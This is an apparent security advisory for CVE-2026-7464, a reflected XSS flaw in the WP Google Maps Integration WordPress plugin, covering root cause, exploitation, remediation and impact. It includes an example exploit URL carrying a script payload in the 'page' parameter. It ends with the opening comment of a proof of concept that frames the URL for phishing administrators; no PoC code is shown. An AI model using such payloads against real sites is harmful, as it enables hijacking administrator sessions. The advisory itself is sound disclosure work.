Atomic Edge analysis of CVE-2026-7464 (metadata-based):
This is a Reflected Cross-Site Scripting (XSS) vulnerability in the WP Google Maps Integration plugin for WordPress, affecting all versions up to and including 1.2. The vulnerability carries a CVSS score of 6.1 (Medium) with a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, indicating network-based exploitation requiring user interaction. The attacker targets administrators through the ‘page’ parameter.
The root cause is insufficient input sanitization and output escaping on the ‘page’ parameter. Based on the CWE-79 classification and the description, the plugin likely retrieves the ‘page’ parameter directly from the URL query string and renders it in the admin interface without proper escaping using WordPress functions like esc_html(), esc_attr(), or wp_kses(). This is a classic pattern where developers use $_GET[‘page’] directly in HTML output or JavaScript context. Atomic Edge analysis infers this pattern from the CWE type; no code diff confirms the exact implementation.
Exploitation requires tricking an administrator into clicking a crafted link. The attacker constructs a URL such as http://target.com/wp-admin/admin.php?page=wp-google-maps-integration%3Cscript%3Ealert(‘XSS’)%3C/script%3E. The payload injects arbitrary web scripts into the page’s context, which execute in the administrator’s browser session. Since no authentication is needed to deliver the link, unauthenticated attackers can launch the attack. The administrator’s session cookie and privileges are then exposed to the attacker.
Remediation requires the plugin developer to sanitize the ‘page’ parameter on input using sanitize_text_field() or similar functions, and escape it on output using esc_html() or esc_attr() depending on the context. The parameter should never be rendered directly without processing. Since no patched version exists, site administrators must disable or remove the plugin until a fix is available.
The impact is limited by the required user interaction but significant due to the potential for privilege escalation. An attacker can steal session cookies, perform actions under the administrator’s identity (such as installing malicious plugins or modifying site content), deface the site, or redirect users to phishing pages. The CVSS confidentiality and integrity impact ratings of LOW reflect the need for user interaction, not the full scope of potential damage.

/*
* This PoC demonstrates a reflected XSS attack against an administrator.
* It constructs a malicious URL with a JavaScript payload in the 'page' parameter
* and outputs it for use in a social engineering scenario (e.g., phishing email).
*
* Assumptions:
* - The plugin is installed and active at $target_url.
* - The vulnerable parameter is 'page' passed either via GET or POST.
* - No authentication is required to trigger the reflection.
